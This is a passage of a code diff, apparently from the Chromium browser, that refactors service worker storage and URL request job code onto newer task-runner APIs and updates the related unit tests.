-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(&ServiceWorkerStorage::GetUserDataInDB, database_.get(),
                  base::ThreadTaskRunnerHandle::Get(), registration_id, keys,
@@ -719,7 +690,7 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(&ServiceWorkerStorage::GetUserDataByKeyPrefixInDB,
                  database_.get(), base::ThreadTaskRunnerHandle::Get(),
@@ -756,8 +727,8 @@
     }
   }
 
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::DeleteUserData,
                  base::Unretained(database_.get()), registration_id, keys),
       base::Bind(&ServiceWorkerStorage::DidDeleteUserData,
@@ -788,16 +759,13 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
           &ServiceWorkerStorage::GetUserDataForAllRegistrationsInDB,
-          database_.get(),
-          base::ThreadTaskRunnerHandle::Get(),
-          key,
+          database_.get(), base::ThreadTaskRunnerHandle::Get(), key,
           base::Bind(&ServiceWorkerStorage::DidGetUserDataForAllRegistrations,
-                     weak_factory_.GetWeakPtr(),
-                     callback)));
+                     weak_factory_.GetWeakPtr(), callback)));
 }
 
 void ServiceWorkerStorage::GetUserDataForAllRegistrationsByKeyPrefix(
@@ -824,7 +792,7 @@
     return;
   }
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
           &ServiceWorkerStorage::GetUserDataForAllRegistrationsByKeyPrefixInDB,
@@ -843,8 +811,8 @@
   Disable();
 
   // Delete the database on the database thread.
-  PostTaskAndReplyWithResult(
-      database_task_manager_->GetTaskRunner(), FROM_HERE,
+  base::PostTaskAndReplyWithResult(
+      database_task_runner_.get(), FROM_HERE,
       base::Bind(&ServiceWorkerDatabase::DestroyDatabase,
                  base::Unretained(database_.get())),
       base::Bind(&ServiceWorkerStorage::DidDeleteDatabase,
@@ -922,8 +890,8 @@
 ServiceWorkerStorage::ServiceWorkerStorage(
     const base::FilePath& path,
     base::WeakPtr<ServiceWorkerContextCore> context,
-    std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-    const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+    scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+    scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
     storage::QuotaManagerProxy* quota_manager_proxy,
     storage::SpecialStoragePolicy* special_storage_policy)
     : next_registration_id_(kInvalidServiceWorkerRegistrationId),
@@ -932,8 +900,8 @@
       state_(UNINITIALIZED),
       path_(path),
       context_(context),
-      database_task_manager_(std::move(database_task_manager)),
-      disk_cache_thread_(disk_cache_thread),
+      database_task_runner_(std::move(database_task_runner)),
+      disk_cache_thread_(std::move(disk_cache_thread)),
       quota_manager_proxy_(quota_manager_proxy),
       special_storage_policy_(special_storage_policy),
       is_purge_pending_(false),
@@ -972,10 +940,9 @@
   }
 
   state_ = INITIALIZING;
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
-      base::Bind(&ReadInitialDataFromDB,
-                 database_.get(),
+      base::Bind(&ReadInitialDataFromDB, database_.get(),
                  base::ThreadTaskRunnerHandle::Get(),
                  base::Bind(&ServiceWorkerStorage::DidReadInitialData,
                             weak_factory_.GetWeakPtr())));
@@ -1538,11 +1505,12 @@
 
   ServiceWorkerMetrics::RecordPurgeResourceResult(rv);
 
-  database_task_manager_->GetTaskRunner()->PostTask(
+  std::set<int64_t> ids = {id};
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(
           base::IgnoreResult(&ServiceWorkerDatabase::ClearPurgeableResourceIds),
-          base::Unretained(database_.get()), std::set<int64_t>(&id, &id + 1)));
+          base::Unretained(database_.get()), ids));
 
   // Continue purging resources regardless of the previous result.
   ContinuePurgingResources();
@@ -1551,11 +1519,10 @@
 void ServiceWorkerStorage::DeleteStaleResources() {
   DCHECK(!has_checked_for_stale_resources_);
   has_checked_for_stale_resources_ = true;
-  database_task_manager_->GetTaskRunner()->PostTask(
+  database_task_runner_->PostTask(
       FROM_HERE,
       base::Bind(&ServiceWorkerStorage::CollectStaleResourcesFromDB,
-                 database_.get(),
-                 base::ThreadTaskRunnerHandle::Get(),
+                 database_.get(), base::ThreadTaskRunnerHandle::Get(),
                  base::Bind(&ServiceWorkerStorage::DidCollectStaleResources,
                             weak_factory_.GetWeakPtr())));
 }
@@ -1585,13 +1552,12 @@
       session_only_origins.insert(origin);
   }
 
-  database_task_manager_->GetShutdownBlockingTaskRunner()->PostTask(
-      FROM_HERE,
-      base::Bind(&DeleteAllDataForOriginsFromDB,
-                 database_.get(),
-                 session_only_origins));
+  database_task_runner_->PostTask(
+      FROM_HERE, base::Bind(&DeleteAllDataForOriginsFromDB, database_.get(),
+                            session_only_origins));
 }
 
+// static
 void ServiceWorkerStorage::CollectStaleResourcesFromDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1624,6 +1590,7 @@
                  status));
 }
 
+// static
 void ServiceWorkerStorage::ReadInitialDataFromDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1721,6 +1688,7 @@
                                             status));
 }
 
+// static
 void ServiceWorkerStorage::FindForDocumentInDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1758,6 +1726,7 @@
       base::Bind(callback, data, resources, status));
 }
 
+// static
 void ServiceWorkerStorage::FindForPatternInDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1794,6 +1763,7 @@
       base::Bind(callback, data, resources, status));
 }
 
+// static
 void ServiceWorkerStorage::FindForIdInDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1808,6 +1778,7 @@
       FROM_HERE, base::Bind(callback, data, resources, status));
 }
 
+// static
 void ServiceWorkerStorage::FindForIdOnlyInDB(
     ServiceWorkerDatabase* database,
     scoped_refptr<base::SequencedTaskRunner> original_task_runner,
@@ -1927,7 +1898,7 @@
   // TODO(nhiroki): What if there is a bunch of files in the cache directory?
   // Deleting the directory could take a long time and restart could be delayed.
   // We should probably rename the directory and delete it later.
-  PostTaskAndReplyWithResult(
+  base::PostTaskAndReplyWithResult(
       disk_cache_thread_.get(), FROM_HERE,
       base::Bind(&base::DeleteFile, GetDiskCachePath(), true),
       base::Bind(&ServiceWorkerStorage::DidDeleteDiskCache,
diff --git a/content/browser/service_worker/service_worker_storage.h b/content/browser/service_worker/service_worker_storage.h
index dd7abfbb..50cdb8ff 100644
--- a/content/browser/service_worker/service_worker_storage.h
+++ b/content/browser/service_worker/service_worker_storage.h
@@ -20,7 +20,6 @@
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
 #include "content/browser/service_worker/service_worker_database.h"
-#include "content/browser/service_worker/service_worker_database_task_manager.h"
 #include "content/browser/service_worker/service_worker_metrics.h"
 #include "content/browser/service_worker/service_worker_version.h"
 #include "content/common/content_export.h"
@@ -82,8 +81,8 @@
   static std::unique_ptr<ServiceWorkerStorage> Create(
       const base::FilePath& path,
       const base::WeakPtr<ServiceWorkerContextCore>& context,
-      std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-      const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+      scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+      scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
       storage::QuotaManagerProxy* quota_manager_proxy,
       storage::SpecialStoragePolicy* special_storage_policy);
 
@@ -354,8 +353,8 @@
   ServiceWorkerStorage(
       const base::FilePath& path,
       base::WeakPtr<ServiceWorkerContextCore> context,
-      std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager,
-      const scoped_refptr<base::SingleThreadTaskRunner>& disk_cache_thread,
+      scoped_refptr<base::SequencedTaskRunner> database_task_runner,
+      scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread,
       storage::QuotaManagerProxy* quota_manager_proxy,
       storage::SpecialStoragePolicy* special_storage_policy);
 
@@ -566,10 +565,10 @@
   // The context should be valid while the storage is alive.
   base::WeakPtr<ServiceWorkerContextCore> context_;
 
-  // Only accessed using |database_task_manager_|.
+  // |database_| is only accessed using |database_task_runner_|.
   std::unique_ptr<ServiceWorkerDatabase> database_;
+  scoped_refptr<base::SequencedTaskRunner> database_task_runner_;
 
-  std::unique_ptr<ServiceWorkerDatabaseTaskManager> database_task_manager_;
   scoped_refptr<base::SingleThreadTaskRunner> disk_cache_thread_;
   scoped_refptr<storage::QuotaManagerProxy> quota_manager_proxy_;
   scoped_refptr<storage::SpecialStoragePolicy> special_storage_policy_;
diff --git a/content/browser/service_worker/service_worker_unregister_job.cc b/content/browser/service_worker/service_worker_unregister_job.cc
index 0ca2f7f0..23d03055 100644
--- a/content/browser/service_worker/service_worker_unregister_job.cc
+++ b/content/browser/service_worker/service_worker_unregister_job.cc
@@ -33,6 +33,7 @@
 }
 
 void ServiceWorkerUnregisterJob::Start() {
+  start_time_ = base::TimeTicks::Now();
   context_->storage()->FindRegistrationForPattern(
       pattern_,
       base::Bind(&ServiceWorkerUnregisterJob::OnRegistrationFound,
@@ -51,6 +52,10 @@
   return static_cast<ServiceWorkerUnregisterJob*>(job)->pattern_ == pattern_;
 }
 
+base::TimeTicks ServiceWorkerUnregisterJob::StartTime() const {
+  return start_time_;
+}
+
 RegistrationJobType ServiceWorkerUnregisterJob::GetType() const {
   return UNREGISTRATION_JOB;
 }
diff --git a/content/browser/service_worker/service_worker_unregister_job.h b/content/browser/service_worker/service_worker_unregister_job.h
index 9e4f2ff..8ffc744 100644
--- a/content/browser/service_worker/service_worker_unregister_job.h
+++ b/content/browser/service_worker/service_worker_unregister_job.h
@@ -44,6 +44,7 @@
   void Start() override;
   void Abort() override;
   bool Equals(ServiceWorkerRegisterJobBase* job) const override;
+  base::TimeTicks StartTime() const override;
   RegistrationJobType GetType() const override;
 
  private:
@@ -56,6 +57,7 @@
   void ResolvePromise(int64_t registration_id, ServiceWorkerStatusCode status);
 
   base::WeakPtr<ServiceWorkerContextCore> context_;
+  base::TimeTicks start_time_;
   const GURL pattern_;
   std::vector<UnregistrationCallback> callbacks_;
   bool is_promise_resolved_;
diff --git a/content/browser/service_worker/service_worker_url_request_job.cc b/content/browser/service_worker/service_worker_url_request_job.cc
index 91cb7c5..373dd26 100644
--- a/content/browser/service_worker/service_worker_url_request_job.cc
+++ b/content/browser/service_worker/service_worker_url_request_job.cc
@@ -19,11 +19,8 @@
 #include "base/guid.h"
 #include "base/location.h"
 #include "base/numerics/safe_conversions.h"
-#include "base/single_thread_task_runner.h"
 #include "base/strings/stringprintf.h"
-#include "base/task_runner.h"
-#include "base/task_runner_util.h"
-#include "base/threading/sequenced_worker_pool.h"
+#include "base/task_scheduler/post_task.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/time/time.h"
 #include "content/browser/resource_context_impl.h"
@@ -121,8 +118,8 @@
   return n::FAILED;
 }
 
-std::vector<int64_t> GetFileSizesOnBlockingPool(
-    std::vector<base::FilePath> file_paths) {
+// Does file IO. Use with base::MayBlock().
+std::vector<int64_t> GetFileSizes(std::vector<base::FilePath> file_paths) {
   std::vector<int64_t> sizes;
   sizes.reserve(file_paths.size());
   for (const base::FilePath& path : file_paths) {
@@ -158,13 +155,12 @@
                            phase_ == Phase::SUCCESS);
   }
 
-  void Resolve(base::TaskRunner* file_runner,
-               const base::Callback<void(bool)>& callback) {
+  void Resolve(base::OnceCallback<void(bool /* success */)> callback) {
     DCHECK_EQ(static_cast<int>(Phase::INITIAL), static_cast<int>(phase_));
     DCHECK(file_elements_.empty());
     phase_ = Phase::WAITING;
     body_ = owner_->body_;
-    callback_ = callback;
+    callback_ = std::move(callback);
 
     std::vector<base::FilePath> file_paths;
     for (ResourceRequestBody::Element& element : *body_->elements_mutable()) {
@@ -179,10 +175,11 @@
       return;
     }
 
-    PostTaskAndReplyWithResult(
-        file_runner, FROM_HERE,
-        base::Bind(&GetFileSizesOnBlockingPool, base::Passed(&file_paths)),
-        base::Bind(
+    base::PostTaskWithTraitsAndReplyWithResult(
+        FROM_HERE,
+        {base::MayBlock(), base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN},
+        base::BindOnce(&GetFileSizes, std::move(file_paths)),
+        base::BindOnce(
             &ServiceWorkerURLRequestJob::FileSizeResolver::OnFileSizesResolved,
             weak_factory_.GetWeakPtr()));
   }
@@ -209,8 +206,8 @@
   void Complete(bool success) {
     DCHECK_EQ(static_cast<int>(Phase::WAITING), static_cast<int>(phase_));
     phase_ = success ? Phase::SUCCESS : Phase::FAIL;
-    // Destroys |this|, so we use a copy.
-    base::ResetAndReturn(&callback_).Run(success);
+    // Destroys |this|.
+    std::move(callback_).Run(success);
   }
 
   // Owns and must outlive |this|.
@@ -218,7 +215,7 @@
 
   scoped_refptr<ResourceRequestBody> body_;
   std::vector<ResourceRequestBody::Element*> file_elements_;
-  base::Callback<void(bool)> callback_;
+  base::OnceCallback<void(bool /* success */)> callback_;
   Phase phase_ = Phase::INITIAL;
   base::WeakPtrFactory<FileSizeResolver> weak_factory_;
 
@@ -543,11 +540,9 @@
       if (HasRequestBody()) {
         DCHECK(!file_size_resolver_);
         file_size_resolver_.reset(new FileSizeResolver(this));
-        file_size_resolver_->Resolve(
-            BrowserThread::GetBlockingPool(),
-            base::Bind(
-                &ServiceWorkerURLRequestJob::RequestBodyFileSizesResolved,
-                GetWeakPtr()));
+        file_size_resolver_->Resolve(base::BindOnce(
+            &ServiceWorkerURLRequestJob::RequestBodyFileSizesResolved,
+            GetWeakPtr()));
         return;
       }
 
diff --git a/content/browser/service_worker/service_worker_url_request_job_unittest.cc b/content/browser/service_worker/service_worker_url_request_job_unittest.cc
index ea0fe96..cab0d1a 100644
--- a/content/browser/service_worker/service_worker_url_request_job_unittest.cc
+++ b/content/browser/service_worker/service_worker_url_request_job_unittest.cc
@@ -69,10 +69,16 @@
 const int kProviderID = 100;
 const char kTestData[] = "Here is sample text for the blob.";
 
-class MockHttpProtocolHandler
-    : public net::URLRequestJobFactory::ProtocolHandler {
+// A simple ProtocolHandler implementation to create ServiceWorkerURLRequestJob.
+//
+// MockProtocolHandler is basically a mock of
+// ServiceWorkerControlleeRequestHandler. In production code,
+// ServiceWorkerControlleeRequestHandler::MaybeCreateJob() is called by
+// ServiceWorkerRequestInterceptor, a custom URLRequestInterceptor, but for
+// testing it's easier to make the job via ProtocolHandler.
+class MockProtocolHandler : public net::URLRequestJobFactory::ProtocolHandler {
  public:
-  MockHttpProtocolHandler(
+  MockProtocolHandler(
       base::WeakPtr<ServiceWorkerProviderHost> provider_host,
       const ResourceContext* resource_context,
       base::WeakPtr<storage::BlobStorageContext> blob_storage_context,
@@ -85,7 +91,7 @@
         resource_type_(RESOURCE_TYPE_MAIN_FRAME),
         simulate_navigation_preload_(false) {}
 
-  ~MockHttpProtocolHandler() override {}
+  ~MockProtocolHandler() override = default;
 
   void set_resource_type(ResourceType type) { resource_type_ = type; }
   void set_custom_timeout(base::Optional<base::TimeDelta> timeout) {
@@ -95,6 +101,8 @@
     simulate_navigation_preload_ = true;
   }
 
+  // A simple version of
+  // ServiceWorkerControlleeRequestHandler::MaybeCreateJob().
   net::URLRequestJob* MaybeCreateJob(
       net::URLRequest* request,
       net::NetworkDelegate* network_delegate) const override {
@@ -155,16 +163,37 @@
 
 }  // namespace
 
+// ServiceWorkerURLRequestJobTest is for testing the handling of URL requests by
+// a service worker.
+//
+// To use it, call SetUpWithHelper() in your test. This sets up the service
+// worker and the scaffolding to make the worker handle https URLRequests.  (Of
+// course, no actual service worker runs in the unit test, it is simulated via
+// EmbeddedWorkerTestHelper receiving IPC messages from the browser and
+// responding as if a service worker is running in the renderer.) Example:
+//
+//    auto request = url_request_context_.CreateRequest(
+//        GURL("https://example.com/foo.html"), net::DEFAULT_PRIORITY,
+//        &url_request_delegate_, TRAFFIC_ANNOTATION_FOR_TESTS);
+//    request->set_method("GET");
+//    request->Start();
+//    base::RunLoop().RunUntilIdle();
+//    // Now the request was handled by a ServiceWorkerURLRequestJob.
+//
+// ServiceWorkerURLRequestJobTest is also a
+// ServiceWorkerURLRequestJob::Delegate. In production code,
+// ServiceWorkerControlleeRequestHandler is the Delegate (for non-"foreign
+// fetch" request interceptions). So this class also basically mocks that part
+// of ServiceWorkerControlleeRequestHandler.
 class ServiceWorkerURLRequestJobTest
     : public testing::Test,
       public ServiceWorkerURLRequestJob::Delegate {
  public:
-  MockHttpProtocolHandler* handler() { return http_protocol_handler_; }
+  MockProtocolHandler* handler() { return protocol_handler_; }
 
  protected:
   ServiceWorkerURLRequestJobTest()
-      : thread_bundle_(TestBrowserThreadBundle::IO_MAINLOOP),
-        blob_data_(new storage::BlobDataBuilder("blob-id:myblob")) {}
+      : thread_bundle_(TestBrowserThreadBundle::IO_MAINLOOP) {}
   ~ServiceWorkerURLRequestJobTest() override {}
 
   void SetUp() override {
@@ -172,10 +201,10 @@
     InitializeResourceContext(browser_context_.get());
   }
 
-  void SetUpWithHelper(std::unique_ptr<EmbeddedWorkerTestHelper> helper,
-                       bool set_main_script_http_response_info = true) {
+  void SetUpWithHelper(std::unique_ptr<EmbeddedWorkerTestHelper> helper) {
     helper_ = std::move(helper);
 
+    // Create a registration and service worker version.
     registration_ = new ServiceWorkerRegistration(
         ServiceWorkerRegistrationOptions(GURL("https://example.com/")), 1L,
         helper_->context()->AsWeakPtr());
@@ -200,18 +229,18 @@
     base::RunLoop().RunUntilIdle();
     ASSERT_EQ(SERVICE_WORKER_OK, status);
 
-    if (set_main_script_http_response_info) {
-      net::HttpResponseInfo http_info;
-      http_info.ssl_info.cert =
-          net::ImportCertFromFile(net::GetTestCertsDirectory(), "ok_cert.pem");
-      EXPECT_TRUE(http_info.ssl_info.is_valid());
-      http_info.ssl_info.security_bits = 0x100;
-      // SSL3 TLS_DHE_RSA_WITH_AES_256_CBC_SHA
-      http_info.ssl_info.connection_status = 0x300039;
-      http_info.headers = make_scoped_refptr(new net::HttpResponseHeaders(""));
-      version_->SetMainScriptHttpResponseInfo(http_info);
-    }
+    // Set HTTP response info on the version.
+    net::HttpResponseInfo http_info;
+    http_info.ssl_info.cert =
+        net::ImportCertFromFile(net::GetTestCertsDirectory(), "ok_cert.pem");
+    EXPECT_TRUE(http_info.ssl_info.is_valid());
+    http_info.ssl_info.security_bits = 0x100;
+    // SSL3 TLS_DHE_RSA_WITH_AES_256_CBC_SHA
+    http_info.ssl_info.connection_status = 0x300039;
+    http_info.headers = make_scoped_refptr(new net::HttpResponseHeaders(""));
+    version_->SetMainScriptHttpResponseInfo(http_info);
 
+    // Create a controlled client.
     std::unique_ptr<ServiceWorkerProviderHost> provider_host =
         CreateProviderHostForWindow(
             helper_->mock_render_process_id(), kProviderID,
@@ -223,19 +252,18 @@
     provider_host->AssociateRegistration(registration_.get(),
                                          false /* notify_controllerchange */);
 
+    // Set up scaffolding for handling URL requests.
     ChromeBlobStorageContext* chrome_blob_storage_context =
         ChromeBlobStorageContext::GetFor(browser_context_.get());
     // Wait for chrome_blob_storage_context to finish initializing.
     base::RunLoop().RunUntilIdle();
     storage::BlobStorageContext* blob_storage_context =
         chrome_blob_storage_context->context();
-
     url_request_job_factory_.reset(new net::URLRequestJobFactoryImpl);
-    std::unique_ptr<MockHttpProtocolHandler> handler(
-        new MockHttpProtocolHandler(provider_host->AsWeakPtr(),
-                                    browser_context_->GetResourceContext(),
-                                    blob_storage_context->AsWeakPtr(), this));
-    http_protocol_handler_ = handler.get();
+    std::unique_ptr<MockProtocolHandler> handler(new MockProtocolHandler(
+        provider_host->AsWeakPtr(), browser_context_->GetResourceContext(),
+        blob_storage_context->AsWeakPtr(), this));
+    protocol_handler_ = handler.get();
     url_request_job_factory_->SetProtocolHandler("https", std::move(handler));
     url_request_job_factory_->SetProtocolHandler(
         "blob", CreateMockBlobProtocolHandler(blob_storage_context));
@@ -255,7 +283,7 @@
                          const std::string& expected_status_text,
                          const std::string& expected_response,
                          bool expect_valid_ssl) {
-    EXPECT_TRUE(request_->status().is_success());
+    EXPECT_EQ(net::OK, url_request_delegate_.request_status());
     EXPECT_EQ(expected_status_code,
               request_->response_headers()->response_code());
     EXPECT_EQ(expected_status_text,
@@ -304,7 +332,50 @@
 
   bool HasWork() { return version_->HasWork(); }
 
-  // ServiceWorkerURLRequestJob::Delegate implementation:
+  // Runs a request where the active worker starts a request in ACTIVATING state
+  // and fails to reach ACTIVATED.
+  void RunFailToActivateTest(ResourceType resource_type) {
+    protocol_handler_->set_resource_type(resource_type);
+
+    // Start a request with an activating worker.
+    version_->SetStatus(ServiceWorkerVersion::ACTIVATING);
+    request_ = url_request_context_.CreateRequest(
+        GURL("https://example.com/foo.html"), net::DEFAULT_PRIORITY,
+        &url_request_delegate_, TRAFFIC_ANNOTATION_FOR_TESTS);
+    request_->set_method("GET");
+    request_->Start();
+
+    // Proceed until the job starts waiting for the worker to activate.
+    base::RunLoop().RunUntilIdle();
+
+    // Simulate another worker kicking out the incumbent worker.  PostTask since
+    // it might respond synchronously, and the TestDelegate would complain that
+    // the message loop isn't being run.
+    base::ThreadTaskRunnerHandle::Get()->PostTask(
+        FROM_HERE, base::Bind(&ServiceWorkerVersion::SetStatus, version_,
+                              ServiceWorkerVersion::REDUNDANT));
+    base::RunLoop().RunUntilIdle();
+  }
+
+  // Starts a navigation request with navigation preload enabled.
+  void SetUpNavigationPreloadTest(ResourceType resource_type) {
+    version_->SetStatus(ServiceWorkerVersion::ACTIVATED);
+    protocol_handler_->set_resource_type(resource_type);
+    protocol_handler_->set_simulate_navigation_preload();
+    request_ = url_request_context_.CreateRequest(
+        GURL("https://example.com/foo.html"), net::DEFAULT_PRIORITY,
+        &url_request_delegate_, TRAFFIC_ANNOTATION_FOR_TESTS);
+    ResourceRequestInfo::AllocateForTesting(
+        request_.get(), resource_type, browser_context_->GetResourceContext(),
+        -1, -1, -1, resource_type == RESOURCE_TYPE_MAIN_FRAME, false, true,
+        true, PREVIEWS_OFF);
+
+    request_->set_method("GET");
+    request_->Start();
+    base::RunLoop().RunUntilIdle();
+  }
+
+  // ServiceWorkerURLRequestJob::Delegate -------------------------------------
   void OnPrepareToRestart() override { times_prepare_to_restart_invoked_++; }
 
   ServiceWorkerVersion* GetServiceWorkerVersion(
@@ -330,53 +401,11 @@
   }
 
   void MainResourceLoadFailed() override {
-    CHECK(provider_host_);
+    ASSERT_TRUE(provider_host_);
     // Detach the controller so subresource requests also skip the worker.
     provider_host_->NotifyControllerLost();
   }
-
-  // Runs a request where the active worker starts a request in ACTIVATING state
-  // and fails to reach ACTIVATED.
-  void RunFailToActivateTest(ResourceType resource_type) {
-    http_protocol_handler_->set_resource_type(resource_type);
-
-    // Start a request with an activating worker.
-    version_->SetStatus(ServiceWorkerVersion::ACTIVATING);
-    request_ = url_request_context_.CreateRequest(
-        GURL("https://example.com/foo.html"), net::DEFAULT_PRIORITY,
-        &url_request_delegate_, TRAFFIC_ANNOTATION_FOR_TESTS);
-    request_->set_method("GET");
-    request_->Start();
-
-    // Proceed until the job starts waiting for the worker to activate.
-    base::RunLoop().RunUntilIdle();
-
-    // Simulate another worker kicking out the incumbent worker.  PostTask since
-    // it might respond synchronously, and the TestDelegate would complain that
-    // the message loop isn't being run.
-    base::ThreadTaskRunnerHandle::Get()->PostTask(
-        FROM_HERE, base::Bind(&ServiceWorkerVersion::SetStatus, version_,
-                              ServiceWorkerVersion::REDUNDANT));
-    base::RunLoop().RunUntilIdle();
-  }
-
-  // Starts a navigation request with navigation preload enabled.
-  void SetUpNavigationPreloadTest(ResourceType resource_type) {
-    version_->SetStatus(ServiceWorkerVersion::ACTIVATED);
-    http_protocol_handler_->set_resource_type(resource_type);
-    http_protocol_handler_->set_simulate_navigation_preload();
-    request_ = url_request_context_.CreateRequest(
-        GURL("https://example.com/foo.html"), net::DEFAULT_PRIORITY,
-        &url_request_delegate_, TRAFFIC_ANNOTATION_FOR_TESTS);
-    ResourceRequestInfo::AllocateForTesting(
-        request_.get(), resource_type, browser_context_->GetResourceContext(),
-        -1, -1, -1, resource_type == RESOURCE_TYPE_MAIN_FRAME, false, true,
-        true, PREVIEWS_OFF);
-
-    request_->set_method("GET");
-    request_->Start();
-    base::RunLoop().RunUntilIdle();
-  }
+  // ---------------------------------------------------------------------------
 
   TestBrowserThreadBundle thread_bundle_;
 
@@ -390,14 +419,14 @@
   net::TestDelegate url_request_delegate_;
   std::unique_ptr<net::URLRequest> request_;
 
-  std::unique_ptr<storage::BlobDataBuilder> blob_data_;
-
   int times_prepare_to_restart_invoked_ = 0;
   base::WeakPtr<ServiceWorkerProviderHost> provider_host_;
   ServiceWorkerRemoteProviderEndpoint remote_endpoint_;
 
   // Not owned.
-  MockHttpProtocolHandler* http_protocol_handler_;
+  // The ProtocolHandler for https requests, which creates a
+  // ServiceWorkerURLRequestJob.
+  MockProtocolHandler* protocol_handler_;
 
  private:
   DISALLOW_COPY_AND_ASSIGN(ServiceWorkerURLRequestJobTest);
@@ -655,11 +684,13 @@
   version_->SetStatus(ServiceWorkerVersion::ACTIVATED);
 
   // Set mock clock on version_ to check timeout behavior.
-  base::SimpleTestTickClock* tick_clock = new base::SimpleTestTickClock();
-  tick_clock->SetNowTicks(base::TimeTicks::Now());
-  version_->SetTickClockForTesting(base::WrapUnique(tick_clock));
+  {
+    auto tick_clock = base::MakeUnique<base::SimpleTestTickClock>();
+    tick_clock->SetNowTicks(base::TimeTicks::Now());
+    version_->SetTickClockForTesting(std::move(tick_clock));
+  }
 
-  http_protocol_handler_->set_custom_timeout(base::TimeDelta::FromSeconds(5));
+  protocol_handler_->set_custom_timeout(base::TimeDelta::FromSeconds(5));
   TestRequest(200, "OK", std::string(), true /* expect_valid_ssl */);
   EXPECT_EQ(base::TimeDelta::FromSeconds(5), version_->remaining_timeout());
 }
@@ -790,17 +821,19 @@
 TEST_F(ServiceWorkerURLRequestJobTest, BlobResponse) {
   ChromeBlobStorageContext* blob_storage_context =
       ChromeBlobStorageContext::GetFor(browser_context_.get());
-  // Wait for chrome_blob_storage_context to finish initializing.
+  // Wait for blob_storage_context to finish initializing.
   base::RunLoop().RunUntilIdle();
 
   std::string expected_response;
   expected_response.reserve((sizeof(kTestData) - 1) * 1024);
+
+  auto blob_data = base::MakeUnique<storage::BlobDataBuilder>("blob-id:myblob");
   for (int i = 0; i < 1024; ++i) {
-    blob_data_->AppendData(kTestData);
+    blob_data->AppendData(kTestData);
     expected_response += kTestData;
   }
   std::unique_ptr<storage::BlobDataHandle> blob_handle =
-      blob_storage_context->context()->AddFinishedBlob(blob_data_.get());
+      blob_storage_context->context()->AddFinishedBlob(blob_data.get());
   SetUpWithHelper(base::MakeUnique<BlobResponder>(blob_handle->uuid(),
                                                   expected_response.size()));
 
@@ -914,7 +947,7 @@
   EXPECT_FALSE(HasWork());
   base::RunLoop().RunUntilIdle();
   EXPECT_TRUE(HasWork());
-  EXPECT_TRUE(request_->status().is_success());
+  EXPECT_EQ(net::OK, url_request_delegate_.request_status());
   net::HttpResponseHeaders* headers = request_->response_headers();
   EXPECT_EQ(200, headers->response_code());
   EXPECT_EQ("OK", headers->GetStatusText());
@@ -965,7 +998,10 @@
   }
   stream_callback->OnCompleted();
   base::RunLoop().RunUntilIdle();
-  EXPECT_TRUE(request_->status().is_success());
+
+  // IO is still pending since |producer_handle| is not yet reset, but the data
+  // should have been received by now.
+  EXPECT_EQ(net::ERR_IO_PENDING, url_request_delegate_.request_status());
   EXPECT_EQ(200,
             request_->response_headers()->response_code());
   EXPECT_EQ("OK",
@@ -1025,7 +1061,7 @@
 
   base::RunLoop().RunUntilIdle();
   EXPECT_FALSE(data_pipe.consumer_handle.is_valid());
-  EXPECT_FALSE(request_->status().is_success());
+  EXPECT_EQ(net::ERR_ABORTED, url_request_delegate_.request_status());
 
   EXPECT_EQ(0, times_prepare_to_restart_invoked_);
   ServiceWorkerResponseInfo* info =
@@ -1071,7 +1107,8 @@
   EXPECT_FALSE(HasWork());
   base::RunLoop().RunUntilIdle();
   EXPECT_TRUE(HasWork());
-  EXPECT_FALSE(request_->status().is_success());
+  EXPECT_EQ(net::ERR_CONNECTION_RESET, url_request_delegate_.request_status());
+
   net::HttpResponseHeaders* headers = request_->response_headers();
   EXPECT_EQ(200, headers->response_code());
   EXPECT_EQ("OK", headers->GetStatusText());
@@ -1109,11 +1146,8 @@
   request_->set_method("GET");
   request_->Start();
   base::RunLoop().RunUntilIdle();
-  EXPECT_TRUE(request_->status().is_io_pending());
-
   stream_callback->OnAborted();
   base::RunLoop().RunUntilIdle();
-  EXPECT_TRUE(request_->status().is_io_pending());
 
   std::string expected_response;
   expected_response.reserve((sizeof(kTestData) - 1) * 1024);
@@ -1132,7 +1166,6 @@
   data_pipe.producer_handle.reset();
   base::RunLoop().RunUntilIdle();
 
-  EXPECT_EQ(net::ERR_CONNECTION_RESET, request_->status().ToNetError());
   EXPECT_EQ(net::ERR_CONNECTION_RESET, url_request_delegate_.request_status());
   EXPECT_EQ(200,
             request_->response_headers()->response_code());
@@ -1168,18 +1201,11 @@
   request_->set_method("GET");
   request_->Start();
   base::RunLoop().RunUntilIdle();
